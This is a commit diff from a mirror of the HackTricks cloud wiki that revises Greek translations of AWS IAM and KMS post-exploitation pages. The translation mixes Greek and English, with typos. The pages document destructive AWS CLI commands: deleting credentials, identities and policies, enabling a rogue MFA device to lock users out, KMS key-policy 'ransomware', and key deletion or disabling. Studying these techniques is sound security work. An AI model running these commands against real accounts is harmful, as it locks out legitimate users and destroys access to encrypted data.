mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+87
-14
@@ -4,21 +4,21 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με την πρόσβαση IAM:
|
||||
Για περισσότερες πληροφορίες σχετικά με την πρόσβαση στο IAM:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Πρόβλημα Μπερδεμένου Αναπληρωτή
|
||||
## Confused Deputy Problem
|
||||
|
||||
Εάν **επιτρέψετε σε έναν εξωτερικό λογαριασμό (A)** να έχει πρόσβαση σε έναν **ρόλο** στον λογαριασμό σας, πιθανότατα θα έχετε **0 ορατότητα** σχετικά με **ποιος μπορεί ακριβώς να έχει πρόσβαση σε αυτόν τον εξωτερικό λογαριασμό**. Αυτό είναι ένα πρόβλημα, διότι εάν ένας άλλος εξωτερικός λογαριασμός (B) μπορεί να έχει πρόσβαση στον εξωτερικό λογαριασμό (A), είναι πιθανό ότι **ο B θα μπορεί επίσης να έχει πρόσβαση στον λογαριασμό σας**.
|
||||
If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
|
||||
|
||||
Επομένως, όταν επιτρέπετε σε έναν εξωτερικό λογαριασμό να έχει πρόσβαση σε έναν ρόλο στον λογαριασμό σας, είναι δυνατόν να καθορίσετε ένα `ExternalId`. Αυτό είναι μια "μυστική" αλφαριθμητική συμβολοσειρά που ο εξωτερικός λογαριασμός (A) **πρέπει να καθορίσει** προκειμένου να **αναλάβει τον ρόλο στην οργάνωσή σας**. Καθώς ο **εξωτερικός λογαριασμός B δεν θα γνωρίζει αυτή τη συμβολοσειρά**, ακόμη και αν έχει πρόσβαση στον A, **δεν θα μπορεί να έχει πρόσβαση στον ρόλο σας**.
|
||||
Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ωστόσο, σημειώστε ότι αυτή η `ExternalId` "μυστική" δεν είναι **μυστική**, οποιοσδήποτε μπορεί να **διαβάσει την πολιτική ανάληψης ρόλου IAM θα μπορεί να τη δει**. Αλλά όσο ο εξωτερικός λογαριασμός A το γνωρίζει, αλλά ο εξωτερικός λογαριασμός **B δεν το γνωρίζει**, αυτό **αποτρέπει τον B να εκμεταλλευτεί τον A για να έχει πρόσβαση στον ρόλο σας**.
|
||||
However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
|
||||
|
||||
Παράδειγμα:
|
||||
```json
|
||||
@@ -39,11 +39,11 @@
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Για να εκμεταλλευτεί ένας επιτιθέμενος έναν μπερδεμένο αναπληρωτή, θα χρειαστεί να ανακαλύψει με κάποιο τρόπο αν οι κύριοι του τρέχοντος λογαριασμού μπορούν να προσποιηθούν ρόλους σε άλλους λογαριασμούς.
|
||||
> Για να εκμεταλλευτεί ένας attacker έναν confused deputy θα χρειαστεί να βρει με κάποιον τρόπο αν principals του current account μπορούν να impersonate roles σε other accounts.
|
||||
|
||||
### Απροσδόκητες Εμπιστοσύνες
|
||||
### Απρόσμενες Εμπιστοσύνες
|
||||
|
||||
#### Wildcard ως κύριος
|
||||
#### Wildcard ως principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -53,7 +53,7 @@
|
||||
```
|
||||
Αυτή η πολιτική **επιτρέπει σε όλα τα AWS** να αναλάβουν τον ρόλο.
|
||||
|
||||
#### Υπηρεσία ως κύριος
|
||||
#### Υπηρεσία ως principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
@@ -62,9 +62,9 @@
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Αυτή η πολιτική **επιτρέπει σε οποιονδήποτε λογαριασμό** να ρυθμίσει το apigateway του για να καλέσει αυτή τη Lambda.
|
||||
Αυτή η πολιτική **επιτρέπει σε οποιονδήποτε λογαριασμό** να διαμορφώσει το apigateway του για να καλέσει αυτό το Lambda.
|
||||
|
||||
#### S3 ως κύριος
|
||||
#### S3 ως principal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
@@ -73,9 +73,9 @@
|
||||
}
|
||||
}
|
||||
```
|
||||
Αν ένα S3 bucket δοθεί ως κύριος, επειδή τα S3 buckets δεν έχουν ID Λογαριασμού, αν **διαγράψατε το bucket σας και ο επιτιθέμενος το δημιούργησε** στον δικό του λογαριασμό, τότε θα μπορούσαν να το εκμεταλλευτούν.
|
||||
If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **διαγράψατε το bucket και ο attacker δημιούργησε** αυτό σε δικό τους account, τότε θα μπορούσαν να το εκμεταλλευτούν.
|
||||
|
||||
#### Not supported
|
||||
#### Δεν υποστηρίζεται
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
@@ -84,8 +84,81 @@
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Μια κοινή μέθοδος για να αποφευχθούν τα προβλήματα Confused Deputy είναι η χρήση μιας συνθήκης με `AWS:SourceArn` για να ελέγξετε το ARN προέλευσης. Ωστόσο, **ορισμένες υπηρεσίες μπορεί να μην το υποστηρίζουν** (όπως το CloudTrail σύμφωνα με ορισμένες πηγές).
|
||||
Ένας συνηθισμένος τρόπος για να αποφευχθούν προβλήματα Confused Deputy είναι η χρήση μιας συνθήκης με `AWS:SourceArn` για τον έλεγχο του origin ARN. Ωστόσο, **κάποιες υπηρεσίες ενδέχεται να μην το υποστηρίζουν** (όπως το CloudTrail σύμφωνα με ορισμένες πηγές).
|
||||
|
||||
### Διαγραφή διαπιστευτηρίων
|
||||
Με οποιοδήποτε από τα ακόλουθα permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — ένας actor μπορεί να αφαιρέσει access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ή CloudFront public keys, ή να αποσυνδέσει roles από instance profiles. Τέτοιες ενέργειες μπορούν άμεσα να αποκλείσουν νόμιμους χρήστες και εφαρμογές και να προκαλέσουν denial-of-service ή απώλεια πρόσβασης για συστήματα που εξαρτώνται από αυτά τα διαπιστευτήρια, οπότε αυτά τα IAM permissions πρέπει να περιορίζονται αυστηρά και να παρακολουθούνται.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Διαγραφή Ταυτότητας
|
||||
Με δικαιώματα όπως `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ή `iam:RemoveUserFromGroup`, ένας φορέας μπορεί να διαγράψει χρήστες, ρόλους ή ομάδες — ή να αλλάξει τη συμμετοχή σε ομάδα — αφαιρώντας ταυτότητες και σχετικές ενδείξεις. Αυτό μπορεί να διακόψει άμεσα την πρόσβαση για άτομα και υπηρεσίες που εξαρτώνται από αυτές τις ταυτότητες, προκαλώντας denial-of-service ή απώλεια πρόσβασης, γι' αυτό αυτές οι ενέργειες IAM πρέπει να περιορίζονται αυστηρά και να παρακολουθούνται.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Με οποιαδήποτε από τις παρακάτω άδειες — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — ένας παράγοντας μπορεί να διαγράψει ή να αποσυνδέσει διαχειριζόμενες/ενσωματωμένες πολιτικές, να αφαιρέσει εκδόσεις πολιτικής ή όρια δικαιωμάτων, και να αποσυνδέσει πολιτικές από χρήστες, ομάδες ή ρόλους. Αυτό καταστρέφει εξουσιοδοτήσεις και μπορεί να αλλάξει το μοντέλο δικαιωμάτων, προκαλώντας άμεση απώλεια πρόσβασης ή άρνηση υπηρεσίας για οντότητες που εξαρτώνταν από αυτές τις πολιτικές, γι' αυτό αυτές οι ενέργειες IAM πρέπει να είναι αυστηρά περιορισμένες και να παρακολουθούνται.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Διαγραφή Ομοσπονδιακής Ταυτότητας
|
||||
Με `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, και `iam:RemoveClientIDFromOpenIDConnectProvider`, ένας δράστης μπορεί να διαγράψει παρόχους ταυτότητας OIDC/SAML ή να αφαιρέσει client IDs. Αυτό διακόπτει την ομοσπονδιακή αυθεντικοποίηση, αποτρέποντας την επικύρωση των tokens και αρνώντας άμεσα την πρόσβαση σε χρήστες και υπηρεσίες που βασίζονται σε SSO μέχρι να αποκατασταθεί ο IdP ή να αποκατασταθούν οι ρυθμίσεις.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Illegitimate MFA Activation
|
||||
Με το `iam:EnableMFADevice`, ένας δράστης μπορεί να καταχωρήσει μια συσκευή MFA στην ταυτότητα ενός χρήστη, αποτρέποντας τον νόμιμο χρήστη από το να συνδεθεί. Μόλις ενεργοποιηθεί μια μη εξουσιοδοτημένη συσκευή MFA, ο χρήστης μπορεί να αποκλειστεί μέχρι να αφαιρεθεί ή να επαναρυθμιστεί η συσκευή (σημείωση: αν έχουν καταχωρηθεί πολλαπλές συσκευές MFA, η σύνδεση απαιτεί μόνο μία, οπότε αυτή η επίθεση δεν θα έχει αποτέλεσμα στην άρνηση πρόσβασης).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Παραποίηση μεταδεδομένων πιστοποιητικών/κλειδιών
|
||||
Με τις `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, ένας επιτιθέμενος μπορεί να αλλάξει την κατάσταση ή τα μεταδεδομένα δημόσιων κλειδιών και πιστοποιητικών. Επισημαίνοντας κλειδιά/πιστοποιητικά ως ανενεργά ή τροποποιώντας αναφορές, μπορεί να διακόψει τον έλεγχο ταυτότητας SSH, να ακυρώσει τις επικυρώσεις X.509/TLS και να διαταράξει άμεσα υπηρεσίες που εξαρτώνται από αυτά τα διαπιστευτήρια, προκαλώντας απώλεια πρόσβασης ή διαθεσιμότητας.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
+80
-23
@@ -4,23 +4,23 @@
|
||||
|
||||
## KMS
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Κρυπτογράφηση/Αποκρυπτογράφηση πληροφοριών
|
||||
### Encrypt/Decrypt information
|
||||
|
||||
`fileb://` και `file://` είναι URI schemes που χρησιμοποιούνται σε εντολές AWS CLI για να καθορίσουν τη διαδρομή προς τοπικά αρχεία:
|
||||
`fileb://` and `file://` είναι σχήματα URI που χρησιμοποιούνται στις εντολές AWS CLI για να καθορίσουν τη διαδρομή προς τοπικά αρχεία:
|
||||
|
||||
- `fileb://:` Διαβάζει το αρχείο σε δυαδική λειτουργία, συνήθως χρησιμοποιείται για μη κειμενικά αρχεία.
|
||||
- `file://:` Διαβάζει το αρχείο σε κειμενική λειτουργία, τυπικά χρησιμοποιείται για απλά αρχεία κειμένου, scripts ή JSON που δεν έχουν ειδικές απαιτήσεις κωδικοποίησης.
|
||||
- `fileb://:` Διαβάζει το αρχείο σε δυαδική λειτουργία, συνήθως χρησιμοποιείται για αρχεία μη κειμένου.
|
||||
- `file://:` Διαβάζει το αρχείο σε λειτουργία κειμένου, συνήθως χρησιμοποιείται για αρχεία απλού κειμένου, scripts, ή JSON που δεν έχει ειδικές απαιτήσεις κωδικοποίησης.
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι αν θέλετε να αποκρυπτογραφήσετε κάποια δεδομένα μέσα σε ένα αρχείο, το αρχείο πρέπει να περιέχει τα δυαδικά δεδομένα, όχι δεδομένα κωδικοποιημένα σε base64. (fileb://)
|
||||
> Σημειώστε ότι αν θέλετε να αποκρυπτογραφήσετε δεδομένα μέσα σε ένα αρχείο, το αρχείο πρέπει να περιέχει τα δυαδικά δεδομένα, όχι δεδομένα κωδικοποιημένα σε base64. (fileb://)
|
||||
|
||||
- Χρησιμοποιώντας ένα **συμμετρικό** κλειδί
|
||||
- Χρήση **συμμετρικού** κλειδιού
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -38,7 +38,7 @@ aws kms decrypt \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Χρησιμοποιώντας ένα **asymmetric** κλειδί:
|
||||
- Χρησιμοποιώντας ένα **ασύμμετρο** κλειδί:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Ένας επιτιθέμενος με προνομιακή πρόσβαση στο KMS θα μπορούσε να τροποποιήσει την πολιτική KMS των κλειδιών και **να παραχωρήσει την πρόσβαση στον λογαριασμό του**, αφαιρώντας την πρόσβαση που παραχωρήθηκε στον νόμιμο λογαριασμό.
|
||||
Ένας επιτιθέμενος με προνόμια στο KMS μπορεί να τροποποιήσει την KMS policy των keys και να **παρέχει στον λογαριασμό του πρόσβαση σε αυτές**, αφαιρώντας την πρόσβαση που είχε ο νόμιμος λογαριασμός.
|
||||
|
||||
Έτσι, οι χρήστες του νόμιμου λογαριασμού δεν θα μπορούν να έχουν πρόσβαση σε καμία πληροφορία οποιασδήποτε υπηρεσίας που έχει κρυπτογραφηθεί με αυτά τα κλειδιά, δημιουργώντας ένα εύκολο αλλά αποτελεσματικό ransomware πάνω στον λογαριασμό.
|
||||
Τότε, οι χρήστες του νόμιμου λογαριασμού δεν θα μπορούν να έχουν πρόσβαση σε καμία πληροφορία από οποιαδήποτε υπηρεσία έχει κρυπτογραφηθεί με αυτά τα keys, δημιουργώντας ένα απλό αλλά αποτελεσματικό ransomware στον λογαριασμό.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι **τα διαχειριζόμενα κλειδιά της AWS δεν επηρεάζονται** από αυτή την επίθεση, μόνο **τα διαχειριζόμενα κλειδιά πελατών**.
|
||||
> Σημειώστε ότι **AWS managed keys aren't affected** από αυτήν την επίθεση, μόνο **Customer managed keys**.
|
||||
|
||||
> Επίσης, σημειώστε την ανάγκη να χρησιμοποιήσετε την παράμετρο **`--bypass-policy-lockout-safety-check`** (η έλλειψη αυτής της επιλογής στην ιστοσελίδα καθιστά αυτή την επίθεση δυνατή μόνο από το CLI).
|
||||
> Σημειώστε επίσης την ανάγκη χρήσης της παραμέτρου **`--bypass-policy-lockout-safety-check`** (η απουσία αυτής της επιλογής στην web console καθιστά αυτή την επίθεση δυνατή μόνο από το CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι αν αλλάξετε αυτή την πολιτική και δώσετε πρόσβαση μόνο σε έναν εξωτερικό λογαριασμό, και στη συνέχεια από αυτόν τον εξωτερικό λογαριασμό προσπαθήσετε να ορίσετε μια νέα πολιτική για **να δώσετε την πρόσβαση πίσω στον αρχικό λογαριασμό, δεν θα μπορείτε γιατί η ενέργεια Put Policy δεν μπορεί να εκτελεστεί από έναν διασυνοριακό λογαριασμό**.
|
||||
> Σημειώστε ότι αν αλλάξετε εκείνη την policy και δώσετε πρόσβαση μόνο σε έναν external account, και έπειτα από αυτόν τον external account προσπαθήσετε να ορίσετε νέα policy για να **δώσετε την πρόσβαση πίσω στον original account, δεν θα μπορέσετε επειδή η Put Polocy action cannot be performed from a cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
|
||||
#### Global KMS Ransomware
|
||||
Υπάρχει ένας ακόμα τρόπος για να εκτελέσετε ένα global KMS Ransomware, που θα περιλαμβάνει τα παρακάτω βήματα:
|
||||
|
||||
Υπάρχει ένας άλλος τρόπος για να εκτελέσετε ένα παγκόσμιο KMS Ransomware, ο οποίος θα περιλαμβάνει τα εξής βήματα:
|
||||
|
||||
- Δημιουργήστε ένα νέο **κλειδί με υλικό κλειδιού** που έχει εισαχθεί από τον επιτιθέμενο
|
||||
- **Επανακρυπτογραφήστε τα παλαιότερα δεδομένα** που έχουν κρυπτογραφηθεί με την προηγούμενη έκδοση με το νέο.
|
||||
- Δημιουργήστε ένα νέο **key με key material** που έχει εισαχθεί από τον επιτιθέμενο
|
||||
- **Επανακρυπτογραφήστε παλαιότερα δεδομένα** του θύματος που είχαν κρυπτογραφηθεί με την προηγούμενη έκδοση, χρησιμοποιώντας το νέο
|
||||
- **Διαγράψτε το KMS key**
|
||||
- Τώρα μόνο ο επιτιθέμενος, ο οποίος έχει το αρχικό υλικό κλειδιού, θα μπορεί να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα
|
||||
- Τώρα μόνο ο επιτιθέμενος, ο οποίος έχει το αρχικό key material, θα μπορούσε να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα
|
||||
|
||||
### Destroy keys
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
|
||||
```bash
|
||||
# Destoy they key material previously imported making the key useless
|
||||
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Destroy keys
|
||||
|
||||
Η καταστροφή κλειδιών μπορεί να προκαλέσει DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι το AWS τώρα **αποτρέπει τις προηγούμενες ενέργειες να εκτελούνται από έναν διασυνοριακό λογαριασμό:**
|
||||
> Σημειώστε ότι η AWS πλέον **αποτρέπει την εκτέλεση των προηγούμενων ενεργειών από cross account:**
|
||||
>
|
||||
> ### Αλλαγή ή διαγραφή Alias
|
||||
> Αυτή η επίθεση διαγράφει ή ανακατευθύνει τα AWS KMS aliases, διακόπτοντας την επίλυση κλειδιών και προκαλώντας άμεσες αποτυχίες σε οποιεσδήποτε υπηρεσίες που εξαρτώνται από αυτά τα aliases, οδηγώντας σε denial-of-service. Με δικαιώματα όπως `kms:DeleteAlias` ή `kms:UpdateAlias`, ένας επιτιθέμενος μπορεί να αφαιρέσει ή να επανακατευθύνει aliases και να διαταράξει τις κρυπτογραφικές λειτουργίες (π.χ., encrypt, describe). Οποιαδήποτε υπηρεσία που αναφέρεται στο alias αντί για το key ID μπορεί να αποτύχει μέχρι το alias να αποκατασταθεί ή να αντιστοιχιστεί σωστά.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Ακύρωση Διαγραφής Κλειδιού
|
||||
Με δικαιώματα όπως `kms:CancelKeyDeletion` και `kms:EnableKey`, ένας επιτιθέμενος μπορεί να ακυρώσει την προγραμματισμένη διαγραφή ενός AWS KMS customer master key και αργότερα να το ενεργοποιήσει ξανά. Με αυτόν τον τρόπο το κλειδί ανακτάται (αρχικά σε κατάσταση Disabled) και επανέρχεται η ικανότητά του να αποκρυπτογραφεί δεδομένα που προστατεύονταν προηγουμένως, επιτρέποντας exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
Με την άδεια `kms:DisableKey`, ένας παράγοντας μπορεί να απενεργοποιήσει ένα AWS KMS customer master key, εμποδίζοντας τη χρήση του για encryption ή decryption. Αυτό διακόπτει την πρόσβαση για οποιεσδήποτε υπηρεσίες που εξαρτώνται από αυτό το CMK και μπορεί να προκαλέσει άμεσες διαταραχές ή denial-of-service μέχρι να ενεργοποιηθεί ξανά το κλειδί.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
Με την άδεια `kms:DeriveSharedSecret`, ένας δράστης μπορεί να χρησιμοποιήσει ένα KMS-held private key μαζί με ένα user-supplied public key για να υπολογίσει ένα ECDH shared secret.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Με το δικαίωμα `kms:Sign`, ένας χρήστης μπορεί να χρησιμοποιήσει ένα CMK αποθηκευμένο στο KMS για να υπογράψει κρυπτογραφικά δεδομένα χωρίς να αποκαλύψει το private key, παράγοντας έγκυρες υπογραφές που μπορούν να επιτρέψουν impersonation ή να εξουσιοδοτήσουν κακόβουλες ενέργειες.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS με Custom Key Stores
|
||||
Με δικαιώματα όπως `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, ή `kms:UpdateCustomKeyStore`, ένας actor μπορεί να τροποποιήσει, να αποσυνδέσει ή να διαγράψει ένα AWS KMS Custom Key Store (CKS), καθιστώντας τα master keys του μη λειτουργικά. Αυτό διακόπτει τις λειτουργίες κρυπτογράφησης, αποκρυπτογράφησης και υπογραφής για οποιεσδήποτε υπηρεσίες που βασίζονται σε αυτά τα κλειδιά και μπορεί να προκαλέσει άμεσο denial-of-service. Επομένως, είναι κρίσιμο να περιορίζονται και να παρακολουθούνται αυτά τα δικαιώματα.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user